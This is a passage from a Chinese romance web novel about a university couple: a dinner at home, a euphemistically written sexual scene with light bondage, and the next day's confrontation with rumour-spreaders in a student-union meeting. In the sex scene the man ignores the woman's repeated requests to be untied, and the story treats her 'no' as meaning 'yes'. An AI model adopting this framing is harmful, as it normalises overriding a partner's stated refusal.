靳宥司眼里含着淡淡的笑,一手伸进被子里把柯愫澄的腿捞过来,继续给她暖脚,很随意的说:“你上床的前一秒。” 柯愫澄开始怀疑,眉心不自觉蹙起:“在这之前,你真的没谈过恋爱吗?” 凉。 还是说这些谁教他的?两人平常的相处过程中,他的表现也根本不像是头一回谈恋爱的样,更像是被上一任教得很好,网络上不是有句话很火吗,叫做前人栽树后人乘毕竟靳宥司家里那个情况,他从哪感受到爱,没感受过又怎么会知道如何给到爱呢? 结果在柯愫澄说完这句话的下一秒,靳宥司就不乐意了,狠狠掐了一把她的腰:“咱俩在一起也四个多月了,还把我当渣男呢。” 柯愫澄不承认,还摇头:“我没有。” 这些私密的事情靳宥司本不想说,主要是他脸皮也没多厚,有些时候吧还是挺羞涩的,但是现在柯愫澄又不信任自己了,那羞就羞吧。 他语调端着散漫,好似没什么大不了的:“找了个老师,学了几招。” “该不会是梁老师吧。”除了梁清屿不可能有别人了,毕竟谢津洲就不像是懂情爱的样。 秒猜对,靳宥司轻咳了两声:“嗯。” 柯愫澄开始琢磨:“梁清屿为什么这么会谈恋爱?他到底交过多少个女朋友?” “我知道的就尤绘一个。” 柯愫澄脱口而出:“我不信,他看着就不像什么好人,别只是想和小羽玩玩,小羽看着就玩不过他。” 靳宥司没发表言论,只是突然想到三天前,两人还在港城的时候,大半夜梁清屿打过来一个电话,电话那头他的声音很是沙哑,喉咙里是低沉的哽咽,说尤绘要跟他分手。很快这一茬就过去,柯愫澄再次拿起手机看这两条热帖的评论区。 1楼:不是他俩现在一点都不背着人啊。 2楼:靳主席也发朋友圈?他朋友圈不一直三天可见吗?怎么现在没这个设置了? 3楼:这说明他的第一条朋友圈就是秀恩爱,我服了…… 4楼:不是,我很好奇,你们都是从哪看到的靳主席的朋友圈啊。5楼:妹妹你还太嫩了,混论坛吃瓜的,怎么可能没点内部朋友啊。6楼:不过有一说一他俩挺牛逼的,敢这么跟家里人作对,要是最后分手了,很难收场啊。7楼:啊啊啊啊啊合约情侣绝对是合约情侣,过段时间就要开播带货了,忽悠我们加入学生会帮他们干苦力活,我不相信!!!8楼:我也不相信,但你们看到没啊,靳主席胸口上那些咬痕吻痕,我靠啊,这也太他妈的涩情了。9楼:别提好吗,虽然主席的身材真的很带劲,但我不想看啊啊啊啊啊。 10楼:呵呵,我们不过是他们play中的一环罢了。 …… 看着这些评论,柯愫澄觉得可太有意思了,完全停不下来,都把靳宥司直接撂到一边了。边看她说:“这气人的活儿我可太擅长了。” 不被搭理,靳宥司还附和:“以后可以多来点,明天中午学生会有个小会,想怎么玩就怎么玩。” 听到靳宥司这么说,柯愫澄真来劲了,直接从床上坐了起来:“这会就不能提前到今天吗?” 这会儿已经下午六点,其实也不算太晚。看到柯愫澄眼睛都亮了几个度,可爱得要命,靳宥司真就拿来了手机:“我现在把人叫去会议室等着。” 柯愫澄闹着玩呢,拦住靳宥司发消息的手:“你比我还会气人。” 被老婆夸了,靳宥司薄唇轻抿,眼角微微弯了弯:“谢谢。” 此时还在论坛大聊特聊的好几个学生会成员们,成功躲过一劫,要不是副主席拦着,某主席真会把他们全叫去会议室。 又翻了会儿论坛,外卖已经被物业管家送到了门口。靳宥司先一步下楼去拿外卖,柯愫澄在床上赖了会儿,才慢慢悠悠下楼。 边下楼,她点进短视频软件,连着刷到好几条卡点舞视频,BGM特带感,她顺手点了收藏,余光瞟到靳宥司已经拎着外卖从玄关处过来客厅。 她将手机锁屏,一屁股坐到毛绒地毯上,看着靳宥司拆外卖包装,她拿起电视机遥控器,找下饭电影。看到上次的观看记录,她用手肘抵了下靳宥司的小腿:“看小鬼当家行吗?上回看的第二部,今天看第三部怎么样。” 靳宥司没意见,点头应好,将一个个外卖盒从袋子里拿出来,摆在桌上,再挨个揭盖。 柯愫澄已经点击播放,电影开始放映,她顺手拿了外卖袋里的一次性手套往手上戴,被靳宥司一把夺走。她有些不明所以,眉心微微蹙着,看向靳宥司,就听到他说:“我来剥虾,你拿筷子吃别的。” 很快,一双拆好的一次性木筷就递到了柯愫澄手上。 柯愫澄把筷子撂到一旁,抢回一次性手套:“我喜欢自己剥。”说完这话,她还往旁边挪了个位置,生怕靳宥司再抢手套。 但这些在靳宥司眼里却变了一种意思,他这人特别容易多想,开始一个人生闷气。老婆不爱了,她把这些活儿抢了去,才在一起四个月,已经不被需要了吗…… 柯愫澄不知道靳宥司在想这些,正在剥一只超肥的罗氏虾,剥完壳,她一手接着,以防料汁滴到地毯上,然后微微侧身,把这只虾递到靳宥司嘴边:“张嘴。”靳宥司一时间都没反应过来,等柯愫澄催促了一句:"快点的。" 他才张嘴吃掉这只虾。 边嚼,他心里已经乐开了花。老婆好爱我,她把第一颗虾喂给了我。 这会儿柯愫澄早开始剥第二颗虾了,再之后就没有靳宥司的份了。 边吃边看电影,等吃饱喝足了,柯愫澄坐回沙发上,斜靠在靳宥司的肩膀上,摸着肚子:“好撑。” “晚点做做运动就能消化。”靳宥司说得特别一本正经。 但柯愫澄在听到这话的下一秒,直接踹了他一脚:“又来?” 靳宥司话里多了几分浪荡:“别多想。” 柯愫澄懒得跟他掰扯,边看电影,她边刷短视频。 刷了没两个,不久前收藏的卡点舞视频又一次出现在眼前,柯愫澄眉梢轻轻一挑,来了兴致,将手机递到靳宥司面前:“你跳个给我看看呗。” 闻言,靳宥司垂眸看向手机屏幕。他知道这个舞,好像叫星奇摇2.0,最近老刷到。 但是…… 柯愫澄看出靳宥司不太乐意,也不管那么多,已经去找手机支架。"你现在赶紧学一下,挺简单的,学会了去换套衣服。" 此时支架已经架好,靳宥司的表情逐渐僵硬:“还录视频?” “你不懂。”柯愫澄真的等不了了。 靳宥司是不懂,已经被柯愫澄叫过去找合适的角度,找完角度,他就被赶上楼换衣服。 再出现的时候,他穿着件白t,白t外边是一件黑色连帽卫衣外套。像是不打算露脸,他戴了顶黑色棒球帽,再叠戴卫衣帽子,帽檐压得低,完全遮掉了眼睛。见状,柯愫澄问:“需要再戴个口罩吗?”要不要这么羞啊,不就扭几下嘛。 靳宥司的确挺想戴口罩的,但他知道柯愫澄想看脸,戴不戴都一样,反正得去镜头面前扭。 他说:“不用。” 柯愫澄还有些意外,看到靳宥司已经站到了镜头前,她化身导演:“那先试跳一遍。” 靳宥司特听话,微微低着头,听到强烈的音乐声响起,他瞬间进入状态。右手伸出向下砸,推出胸口往里扣,随后反方向再来一遍,紧接着右手先出拳,再是左手出拳,放下手,双手绕圈向下砸。继续抬手往下砸顶胸,双腿微微弯曲,顶胯往后坐,扭胯的同时双手交叉,右手慢慢从胸口上移至脖子。最后双手打开落下,配合着顶胯和扭胯。 第一遍录制完毕,按下结束键的下一秒,柯愫澄来到了靳宥司面前,轻轻拽着他的衣摆。 靳宥司先是看了眼被拽起的衣摆,视线再缓缓上移,撞上柯愫澄毫不遮掩的,已经染上几分涩欲的目光。她挑眉,近乎蛊惑般开口:"我又饿了,怎么办?" 81-91 81、小司宝宝 说着这话,柯愫澄的手已经不老实,将拉了一半的卫衣外套拉链往下拽,把整个外套敞开,两只手直接滑到了靳宥司的腰上。 摸到他精致结实的肌肉,柯愫澄觉得还不够,一只手甚至顺着衣摆伸进了衣服里,没有任何阻碍的触碰到了他线条分明,精瘦又性感的腹肌。 靳宥司当然知道她要干什么,如果没有记错的话,就在不久前,她才拒绝了自己的邀请,现在不就扭了两下吗,原来勾,引她这样就够了? 看到靳宥司没有回应自己,柯愫澄越发胆大,手缓缓向上移至他的胸膛,紧接着朝他迈了一步,整个人贴了上去,拽在衣摆上的手直接握住他的手腕,带着他的手环上自己的月要。感受到烤箱正在逐渐升温,雨林深处的野生蘑菇吸收日月之精华,已经从土壤中冒了出来,现在采摘下来,将脆甜可口。 柯愫澄直勾勾盯着面前的人,察觉到他身上散发出的一丝侵略的气息。 靳宥司终于没忍住开口说话:“衣帽间最里边的柜子,藏在角落的那把变温猫爪拍,是你买的吗?”他的声音低沉微哑,腔调懒洋洋地,话里的痞劲藏都藏不住,分外撩人。 柯愫澄心里一咯噔,没想过会被靳宥司发现,她明明藏在很隐蔽的地方。 这会儿她只能打死不认,摇头装懵: "什么猫爪拍?" 靳宥司早料到柯愫澄不会认,他没什么所谓,一把抓住柯愫澄还在胡乱探索的手,眼神中的情绪逐渐变浓:“买给我的?” 柯愫澄一时间没能完全理解靳宥司所表达的意思,甚至有些不可思议,眉心微微蹙起:“怎么可能是买给你的。”他们又不是4i…… 彻底落入陷阱之中,靳宥司微眯眼,唇角勾起一抹意味深长的笑:“不是吗?我以为是,但你不好意思提出,所以只能藏起来。” 柯愫澄觉得靳宥司简直疯了,往他胸上狠狠掐了一把,瞪着他,骂他:“你变态吧。” 这回是柯愫澄要抽走手,靳宥司不答应了,她要走都不行,他的手臂牢牢环着她的月要,衣服里的那只手也不可能随便想进就进想出就出。 这会儿柯愫澄还不知道自己已经玩脱了,满脑子都是靳宥司想干嘛,他到底想干嘛! 然后就听到靳宥司说:“饿了是吧,现在玩?我去拿,在这乖乖等我回来可以吗宝宝。”在他说这话的时候,柯愫澄已经被他带着坐到了沙发上,只是她的一只手被靳宥司用有线耳机绑在了钓鱼落地灯上。 看到他直接系了个死结,这耳机是又不打算要了。 柯愫澄此时此刻还不知道靳宥司要玩什么,脑子里都是浆糊,总觉得特别不对劲,是他又要暴露什么特殊癖好了吗,那如果是那种癖好,柯愫澄是完全不能接受的。 但都不等柯愫澄多问几句,靳宥司已经离开客厅往二楼走去。 再出现已经是五分钟后,靳宥司换了套衣服,穿着他从没有在日常生活中穿过的白衬衫,领口最上边的那枚扣子甚至都没扣上,露出被啃咬过的脖颈,锁骨的位置还有一块特别明显的牙印。 不等柯愫澄再多看几眼,就发现靳宥司手上拿着几天前自己精心挑选的变温猫爪拍。 这把变温猫爪拍通体是黑色的,抓握位置是皮质设计,猫爪的大小刚刚好,差不多是靳宥司掌心那么大,爪子是立体且厚实的,拍到皮肤上留痕明显。 现在结合他身上穿的,柯愫澄满脑子都是靳宥司到底是要干嘛啊,他别真是要玩变态的小游戏吧。 此时靳宥司已经将变温猫爪拍放到了茶几上,再去把整个一楼的灯光调试到合适的效果。 昏暗柔和的灯光让暧昧掺杂进空气中,柯愫澄闻到来自靳宥司身上的,特殊的薄荷味,实在令人着迷。 看到靳宥司回来了,柯愫澄抬起被绑着的手示意:“你赶紧给我解开。” 靳宥司没应这话,已经单腿跪在她的面前。柯愫澄身体下意识往后靠,感受到左腿的脚踝被灼热的掌心握住,紧接着被抬了起来,踩在了他的大腿上。 靳宥司仔仔细细检查膝关节侧面那一块被咬出牙印的皮肤,他轻轻触摸,抬眸看着柯愫澄。感受到他的眸色微沉,他问:“疼吗?” 柯愫澄摇头:“不疼。”这印记只是看着吓人,非要说还没打唇钉疼呢。 只是她实在没想到靳宥司居然会咬自己的腿,前几次侧,入时都没有咬过,这次是没忍住还是怎么的。如果没有记错的话,后腰那颗痣也被他咬了好几口,估计也有一圈浅浅的牙印。 听到柯愫澄说不疼,靳宥司将她的腿放了下来,随后站起身。 这下柯愫澄只能仰着头看他,见他直接侧身去拿茶几上的那盒拦精灵,她再次摇着手腕示意:“你能不能先把这个给我解开。” 靳宥司依旧不应她这句,从盒子里拿出一片拦精灵后,他的视线落到被有线耳机绑着的手腕,问她:“太紧,了不舒服?” 柯愫澄说对:“不舒服,勒死人。” 靳宥司看清楚了,明明还有两个手指那么宽的空隙。 他继续不搭理她,只将她踩在地毯上的两条腿捞起来,顺势把她整个人抱起翻了个面,这个滋事完全不会有不适的地方,左手依旧被绑在落地灯柱上,右手可以撑在沙发扶手上,背对着,入是她最喜欢的,而这次,还用到了她自己精心挑选的小拍子。 也是这会儿,来到了最熟悉的滋事,柯愫澄才松了口气。 兴许是呼气的声音过于明显,靳宥司拿变温猫爪拍的手一顿,倾身凑到耳边,压着音量用气音说:“你该不会以为我说的买给我用,是用在我的身上吧。” 柯愫澄承认,在此之前她真的这么以为,主要是靳宥司每次的表达都特别有问题,很难不让人怀疑他是不是故意的,就为了看自己出丑丢脸,又或者说,他该不会觉得这样的自己很可爱吧。柯愫澄不继续往这方面想,但也咬死不认,最后干脆直接不说话了。 靳宥司知道柯愫澄不可能承认的,也不等她了,拿起变温猫爪拍在自己手臂上轻轻拍了下,试试效果,顺便感受一下这玩意打在皮肤上的痛感。 试验完毕,他没有粗鲁的直接八了柯愫澄的,裤子,而是从后,捏住她的脸颊,掰过来,吻上去。 柯愫澄原本的滋事是利于厚,乳的滋事,但很显然,他们的目的不是为了直接的结合,而是慢慢地,循序渐进的玩这场游戏。毕竟高,潮不是他们的最终目的,两个人亲密的过程才是。 被靳宥司吻着,柯愫澄已经跪坐在沙发上,她的左手还吊在半空中,右手由靳宥司的手腕慢慢移到了他的手臂上,牢牢抓住。 半个身子被他圈入怀中,唇齿间的交缠燃烧了心底的那团火,两人的气息都很凌乱,柯愫澄觉得自己的舌头都有些发麻,脖子也酸得厉害,察觉到靳宥司没打算停下,柯愫澄只能咬在他的舌尖,视作提醒。 紧接着,柯愫澄就感受到,灼热来到了衣摆,准确无误的放在了内,内的松紧带上。 柯愫澄也才反应过来,她只穿了一件靳宥司的短袖,甚至连睡裤都没有,这也太适合干点什么了。 不等她走神儿,靳宥司已经八,掉,柯愫澄正正好被放倒。 结束开胃小菜的吻,靳宥司站起来,一手拿着变温猫爪拍,一手将柯愫澄捞起来,贵正。 随后将这件短袖推至肩膀,露出S型,那一截细月要。 变温猫爪拍轻拍在果园里,粉嫩的水蜜桃树上时,研学家带领的科研团队,刚好进入雨林深处,因为天气骤变的缘故,此时水池中的漩涡下意识收缩,天气预报显示,暴风雨即将来临。 不过就一下,靳宥司便停住了动作。 柯愫澄不知道他在等什么,有些急不可耐,回过头问他:“怎么了?”突然停下做什么。 就发现靳宥司正仔仔细细观察水蜜桃上的猫爪痕,微微红,特嫩,就连这把拍子的颜色也由黑色变为了黑里透粉。 直到水蜜桃上的颜色逐渐消失,靳宥司才说:“很漂亮。” 柯愫澄已经热到不行,新闻里明明说,这次研学家组织的探索团队来到的这片雨林,气温时宜,简直骗人!密林深处的水池正在疯狂涨水,估计再等一会儿就要迎来大到暴雨,可降了雨也抵挡不住气温还在逐步升高。 看到靳宥司依旧穿戴整齐,柯愫澄有些不满:“你装什么啊。” 她话音刚落,拍子抬起落下,啪的一声响,果园里的水蜜桃树,因狂风猝不及防的晃动了两下。 “照样可以进。”说完这话,靳宥司把柯愫澄的月要往下按,吸收日月之精华的水蜜桃树越发茂盛,被抬起,翘高些。 紧接着便听到拉链的声响,六点一刻时擎旗手举着旗弓单了出来,它穿戴整齐,昂首挺胸,都用不着把,对准前不久标记过的家门,直接剂了进去。 猝不及防的一下,研学家带领的科研团队被困在这深不见底的水池之中,没入大半截。柯愫澄微川着,水池中的漩涡不自觉收得更紧,完全不给再深一步的可能,好似泥泞,由雨水的原因,泥土变得湿软,脚踩下去就不受控的陷入其中。 靳宥司知道柯愫澄一时半会儿没办法放松下来,八出来一些,再用李往里,手上的猫爪拍再次落下,似乎是在检验果园里的水蜜桃树十分成熟可摘,又或者通过拍打的方式对水果进行一番催熟工作。催熟的同时,工作人员也在有节奏的进行劳作。 柯愫澄的声音有些发颤,呼吸异常急促,兴许是对这天气的不满,她不喜欢下雨天,整个空气中都是黏黏糊糊的,过不了多久暴雨来临就如同发了洪水似的,井盖里的水噗呲噗呲的往外冒。 靳宥司能感受到这般强烈的拥抱。 就在这个拥抱里面,它的个子逐渐漳大,青色血管突突的跳动,代表着顽强的生命力,被咯着,晃着,茁撞着。 靳宥司牢牢抓住那一截,看到那颗漂亮小巧的痣,外边真有一圈浅浅的牙印。 拍子没停:“宝宝,喜欢这样吗?” 他话音刚落,柯愫澄都不带认真思考的,脱口而出:“不喜欢。” 她唱反调唱习惯了,靳宥司知道,他说不喜欢就是喜欢的意思。 拖着长音哦道:“喜欢是吧,那就多玩玩,除了变温猫爪拍还有什么喜欢的小玩意儿吗?jumping egg怎么样?买可以远程操控的。” 柯愫澄不知道靳宥司脑袋瓜在预谋什么鬼点子,听他这么说就准没好事,用力拥抱着它,想憋死它,最好能让它直接身,寸出来,然后上楼睡觉! 她不理他,他就更卖力,说不喜欢是吧,那就做,到她主动说喜欢,说能不能快点,还说要不行了,要似了。靳宥司太懂怎么给到柯愫澄极致的快乐,同样的柯愫澄也了解靳宥司身体的一切,就客厅这个区域他们就玩了一个小时,最后那根有线耳机还是被靳宥司一剪刀下去,剪断了。 参观完每一个房间,被抱去洗完澡回到卧室,柯愫澄彻底瘫到了床上,真的没有丝毫力气了,到达什么程度呢,连手指头都抬不起来了。但靳宥司却跟一个月充一次电的机器人似的,还抱着柯愫澄一个劲的亲。 柯愫澄受不了,想推开他又实在没有力气,只能嘴上抱怨,提醒道:“明天我俩都是早八。” 靳宥司含着柯愫澄的耳垂,嗫了好半天才说:“我知道。” “再不睡起不来了。”到现在,柯愫澄连说话的力气都没有了,这话几乎用到了全身的力气,但依旧细小到跟蚂蚁说话差不多。 靳宥司清楚得很,没放过柯愫澄,嘴唇移到了她的脖颈处,随后故意说:“我们不是在睡吗?” “你一个劲的亲,让人怎么睡得着。”柯愫澄真要发脾气了,她很困很困很困。 靳宥司边轻拍柯愫澄的肩膀,安抚她的情绪,但嘴还是没歇下,边亲,边说着:“你很累了,可以睡得着的,闭眼,别管我。” 柯愫澄实在没力气跟靳宥司继续掰扯,很难想象他们从中午开始炒饭,炒到了半夜。究竟是什么饭要反反复复的炒,再炒下去,这饭不但不会软,甚至更石更。实在受不了靳宥司这般黏人,柯愫澄能想象到自己的脖子现在已经不成样了,原本炒饭的时候印记就够多够明显了,现在他还在继续,没完了是吧!柯愫澄有气:“再亲下去,光遮瑕就要用掉半罐。” 闻言,靳宥司动作一顿:“不是要气人吗,遮它做什么。” 柯愫澄解释:"不是遮全部,是太多了不遮几个完全出不了门。" 靳宥司心情好些了:“我们要学会坦诚相待。” “你想吓死那群人吗?”柯愫澄语气加重。 “不好吗?早不想装了。”说着这话,靳宥司又往柯愫澄那靠近了些,巴不得整个身体贴上去。 柯愫澄发现自己说不过这个耍无赖的,让步:“好得很,不过你也别继续亲了,真没一块好皮肤了。” 见柯愫澄让步,靳宥司也让:“行,那你亲我。” 柯愫澄知道不亲的话,他会继续下去,只能敷衍着转过身,捧着他的脸亲了下他的嘴唇,啵出了好大一声,还顺便摸了摸他的脑袋:“好了小司宝宝乖乖睡觉。”她话音才刚落,靳宥司僵了一瞬:“你叫我什么?” 柯愫澄没声了,已经重新背过身,脑袋都埋进了被子里。 感受到靳宥司搂着腰,凑过来,紧紧靠着自己,她不给他说话的机会,直接道:“你别说话,再不睡你就滚楼下去沙发上睡。” 老婆发脾气了,要开始赶人了,靳宥司收放自如,乖乖听话,不说总行了吧。不过那一声甜甜的小司宝宝,整个晚上都萦绕在耳畔。 82、算账 第二天柯愫澄毫不意外的,赖了半小时的床。 被靳宥司从床上拽起来的时候,柯愫澄莫名有种跟人在梦里单挑了十万回合的感觉,真的浑身都痛,完全没有力气。 算起来她就睡了五个多小时,所以靳宥司是怎么做到闹钟—响就起床,还顺带去小区对面买了个早餐的? 磨磨蹭蹭洗漱完坐到餐桌前,看着面前热气腾腾的蛤蜊猪肝面,柯愫澄觉得特稀奇,眼神微微抬起:“怎么没买生煎包?” 靳宥司已经把一次性木筷拆开,递到柯愫澄手边:“你弟又不在。” 要不提温玉舟,柯愫澄都快忘记还有这号人物,主要是自打她和靳宥司逃婚后,就再没联系任何一位好友,消息倒是一个接着一个的传过来,他俩都自动屏蔽了。不因为别的原因,是他俩料到,这段时间温随和司琪必定会想尽办法把他们抓回去,这是他们和父母之间的矛盾,没必要扯到身边的朋友,如果不联系,温随和司琪就没办法找朋友几个的麻烦。 至于回到学校上课之后该怎么应付这些破事,柯愫澄和靳宥司没想过,就走一步看一步,反正他们没打算靠家里,要断关系断好了。 吃完早餐时间已经不早了,柯愫澄去衣帽间换了身衣服,今天她穿的自己的衣服,不是对靳宥司的私服没兴趣了,是真的太久没穿jk制服,怪想念的。 穿上格子裙,柯愫澄将白衬衫塞进裙子里,顺便把裙子卷了两圈。 下楼的时候,她看到靳宥司正在换耳钉,等下到一楼,仔细看了才发现,这耳钉她都没戴过几次,也不知道他是什么时候偷偷从首饰盒里拿出来的。 此时靳宥司已经换上新耳钉,是镶钻十字架的款式。 柯愫澄不自觉打量了他一番,在心里嘀咕,没想到他还挺喜欢这些偏妖艳的款。不过她倒是没表现出来,拎着包包准备走,靳宥司跨一步挡在她面前,递过来一枚耳钉:“戴上。” 柯愫澄没接,视线由这枚耳钉移至他的双眸:“我已经戴了。” 靳宥司看到了,是最简单的款式,他语气强硬:“戴这个。” 柯愫澄拒绝:“不要,这个和我今天穿的衣服颜色不搭。” 话音刚落,靳宥司是一如既往的一点道理都不讲,已经上手取柯愫澄左耳垂上的耳钉,取下来后直接将其丢到了一旁。柯愫澄看着甩飞到沙发上的无辜耳钉,吐槽的话都来不及说,靳宥司已经帮忙佩戴上新耳钉。 他看着欣赏一番:“好看。” 柯愫澄无语,轻睨了他一眼,让着他,只说:“要来不及了,路上会堵车。” 靳宥司抬手看了眼腕表时间,这会儿正正好赶上早高峰,他想了下:“那要不骑车去?” 柯愫澄可太乐意了:“我载你?” 靳宥司的手臂已经自然的搭到柯愫澄的肩上,带着她来到玄关处换鞋,顺便拎起柜子上的两个机车头盔,一个是柯愫澄原本的纯黑头盔,另一个是送她的生日礼物,纯手绘头盔。 靳宥司就一句:“甭想。” 柯愫澄切了声,她就知道靳宥司肯定不会答应,倒没什么所谓。 很快两人来到地下车库,柯愫澄把车钥匙丢给靳宥司,接过他递到手边的手绘头盔往头上戴。佩戴好头盔,靳宥司已经跨上机车,柯愫澄跟着坐上去。 正整理裙子,听到靳宥司说:“抱好。” “知道,用不着你说。”柯愫澄嫌靳宥司话多。嫌弃完裙摆也整理好了,她身体往前靠上靳宥司的后背,手臂环着他的腰。 下一秒,机车发动机的轰鸣声响起,靳宥司将油门拧到顶,机车飞驰而出。 看着道路上人车拥挤,车辆难以移动,他们算是做了个正确的选择。半个小时机车就开到了大学城,此时赶早八的大学生们都挤在街道上买早餐,机车从旁边经过时,周围不少同学看了过去。 将机车停进车棚,柯愫澄跨下车,看了眼时间,距离第一节课上课还有十分钟。两人拎着头盔,不急不慢往教学楼走去。 这会儿靳宥司真就装都不装了,手臂搭到柯愫澄肩上,随便周围人怎么看,又在议论着什么。 进入教学楼,他们俩上课的教室在不同的楼层,分开前靳宥司揉着柯愫澄佩戴耳钉的那只耳朵:“等会儿下课我过来找你。” 柯愫澄知道靳宥司为什么要在一楼大厅做这事,正暗爽呢。她憋着笑,余光扫过那群人震惊的神情,不少人掏出手机在那偷拍,她只是问:“你知道我在哪个教室吗?” 揉完耳垂,靳宥司又开始捏柯愫澄的手指:“知道,我有你课表。” 意料之中。也是这时,柯愫澄注意到,原本没精打采困到爆炸的黎荔,在看到两人正当众秀恩爱后,双眼瞬间闪烁起激动的光,完全压制不住冲上来的心情。 柯愫澄拿回自己的手:“中午见。” 靳宥司嗯了声,刚朝着楼梯口的方向走去,黎荔就迫不及待冲上来,挽着柯愫澄的手臂,还用脑袋蹭了蹭她:“我靠你终于 出现了,我还以为你俩逃去港城不回来了呢。” 说着话,两人不急不慢往教室走。 柯愫澄问:“我妈找你没?” “找了啊,你俩那事闹多大你不知道啊,我们这一大帮子人都被问罪了。”说到这个,黎荔突然想到什么,立起脖子,憋不住笑出声:“更离谱的你知道是什么吗?就是之前跟我们几个绝交的那个姓张的,也被你妈拉出去盘问了一番。” 那这真是够离谱的,不过也没什么不好的,那个姓张的初中那会儿就在学校乱造谣,被逮到还死不承认,温随算是用另外一种方式帮忙出头了。 只是柯愫澄没想到:“没跟你们几个联系都躲不了这一劫?” 黎荔都习以为常了:“你妈嘛,你了解的,不过没什么大事,所以你俩想好怎么应付没?” 两人已经来到教室,从后门走进去,选了个后排靠窗的位置坐下,柯愫澄才说:“没想,随便吧,反正烂摊子留给他们了,收拾都得好一阵了。” 黎荔将她巴掌大的迷你小包包取下来塞进桌肚里,眼睛一闪一闪:“我有一计。” 柯愫澄能不了解她?速度极快的做出打住的手势:“我自己心里有数。” 黎荔瘪瘪嘴,不说了,刚好上课铃敲响,专业课老师准点走进教室。 柯愫澄也算是发现了,靳宥司的粘人程度真不是盖的,只要下课他的消息就一条接着一条的传过来,之前怎么不见他主动发几次消息?两人加好友好几个月,总共才聊过几句天,现在一上午,三节下课时间,也就四十分钟,聊了几个月的量。 等到上午最后一节下课铃敲响,专业课老师还有重点没讲完,拖了一小会儿堂,而这个时候走廊上已经挤满了学生,原本就足够闹腾,靳宥司一过来,外边就跟菜市场似的,议论声此起彼伏。 柯愫澄这会儿还在整理笔记。 听到教室外边震耳欲聋的声响,黎荔没回头,手肘抵了下柯愫澄:“你老公来了。” 柯愫澄嗯了声,笔没停下,在课本上记着重点。 黎荔没忍住朝后看去,毫不意外的在教室后门看到了靳宥司。 她热情的抬手招了招,算是跟他打了个招呼,然后转头凑到柯愫澄耳边,特别好奇的问:“话说你私底下是怎么叫靳主席的?” 柯愫澄的语气没有任何波澜:“叫名字啊,还能叫什么。” 闻言,黎荔眉心皱起:“我靠这么无趣,你俩看着也不像什么特别正经的小情侣啊。” 随着专业课老师的一声下课,她前脚刚离开教室,后脚柯愫澄停了笔,把书本笔全丢进包包里,看向黎荔,微微歪头有些无奈的说:“比你和小狗正经多了。” 她话音落,已经起身朝着教室后门走,黎荔赶紧跟上去。 一出教室,靳宥司就揽住了柯愫澄的肩膀,还把她往自己这边拽了下。 黎荔都看出来了,瘪瘪嘴:“你们去忙吧,我就不当电灯泡了。” 这正和靳宥司的意,热情送客:“您慢走。” 看到黎荔快步离开教学楼,柯愫澄忍不住吐槽:“你该不会吃醋我和黎荔走太近吧。” 靳宥司不承认:“没有,怎么会。” 柯愫澄很明显不相信,毕竟靳宥司的占有欲有目共睹。 她没再说什么,两人很快来到办公楼。过来的路上免不了遇到学生会的成员们,今早他俩一起来学校的照片已经被上传到论坛以及表白墙上,这会儿看到了依旧有些不敢置信。他们也不敢靠近,只能跟在后面。 来到会议室,此时大半的学生会成员们已经到了,原本还在嬉笑打闹聊闲天的他们,在看到柯愫澄和靳宥司一同走进来后,整个会议室瞬间鸦雀无声。紧接着他们就看到,靳宥司帮柯愫澄拖开椅子,两人刚坐下,在场所有人的注意力就都不约而同的集中到了两位的脖子上。 那些痕迹真的多到……都不遮遮的吗! 下一秒,会议室里再次响起窃窃私语声。 柯愫澄大概能猜到他们在聊些什么,坐姿极为闲散,抱着胳膊直接问:“说什么呢?吻痕为什么不遮?还能为什么,故意留给你们看的呗,你们应该挺喜欢看的吧。”话音刚落,他们一个个震惊到眼睛珠子快掉出来,呼吸似乎都在这一刻停滞下来。 而一旁的靳宥司,正直勾勾盯着柯愫澄,眼底的宠溺没有一丝一毫的遮掩。 也是这个时候,坐在不远处的丁欲倾故意说:“靳哥,你和嫂子什么时候发喜糖啊,我们学生会多久没去外边聚餐了,什么时候安排一下呗。” 他俩能不知道丁欲倾什么意思嘛,这配合简直打得妙啊。 只是不等靳宥司开口说些什么,几个学生会成员冲进了教室。他们在看到柯愫澄和靳宥司已经到了后,又有些好奇会议室里怎么比平时气压还低。 其中一个男生拍了下周肆决的肩膀:"咋了这是?" 周肆决的视线在柯愫澄身上停留了一秒不到:“他们要结婚了。” 话音落,这群人的下巴直接掉到了地上:"啊???!!!结婚?!??怎么这么快!!" 会议室里实在太安静,这一声就显得异常突兀,所有人都闻声看了过去,其中包括柯愫澄和靳宥司。 靳宥司也终于找着机会回应了丁欲倾:“这两天你带着他们去外边聚餐,回头找我报销。” 丁欲倾牵起唇角: "谢谢主席,祝你和嫂子百年好合啊。" 一唱一和结束,谢津洲还在隔壁办公室复印资料,柯愫澄趁着会议还没开始,去了趟洗手间。 她前脚刚离开会议室,后脚靳宥司拿出手机,点进备忘录:“爱吃炸鱼饼是谁?”问着这话,他沉着脸,掀起眼皮,眼底戾气毫不遮掩的显露出来。 知道靳宥司是要找人麻烦,这群人一个个都低下了头,连气都不敢出。 见没人认,靳宥司再次开口:“再问一遍,是谁?站起来。”他的声音是从未有过的冷冽。 他们知道,靳宥司这是带着答案来问这个问题的,躲不过去的。 时间一分一秒的过去,会议室角落处坐着的一个女生,终于还是没能抗住靳宥司无形中释放出的压迫感,低着头站了起来。 大家伙儿的视线不约而同落到她的身上,靳宥司只是睨了她一眼,紧接着说:“用户7#8z46qwj。” 会议桌另一边的一个男生没有丝毫犹豫的站了起来,莫名有种早死早超生的感觉。 靳宥司依旧只是瞥了一眼,随后扯了下唇角:“造黄谣的就是你俩是吧。” 没人敢说话,就连这个毫不犹豫站起来的男生,也默默垂下了头。 靳宥司鲜少动怒,说起来应该算是第一次。他那双深邃如墨的黑眸里,似乎正在酝酿着一场极度危险的暴风雨:"回去等律师函吧。" 话音落,他没让人坐下,又看向手机屏幕。这是打算把账一次性算清楚啊,现在看来,组织开这个会的真实目的还真说不好了。 柯愫澄回来的时候,整个会议室的气氛都异常怪异,她不太知道为什么,刚在会议桌前坐下,都没来得及问,谢津洲抱着资料从办公室出来了。 他边走过来,一双眼睛没从俩人身上挪开。瞧了又瞧,实在没忍住:“我靠嫂子你牛逼啊,你俩是吸血鬼夫妇吧。” 谢津洲的幽默感瞬间打破这怪异的局面,底下有人想笑,但又不敢笑出声,毕竟不久前靳宥司才发了脾气,他就只差没挥拳揍人了。这谁又知道呢,他之前走的不是乖宝宝人设吗,该不会是故意装的吧,那又是为了点什么呢? 谢津洲见大家伙儿还屏着气,自然知道为什么,毕竟靳宥司手机备忘录里记着的东西,是他调查后提供的。 待谢津洲将资料发下去,会议正式开始。 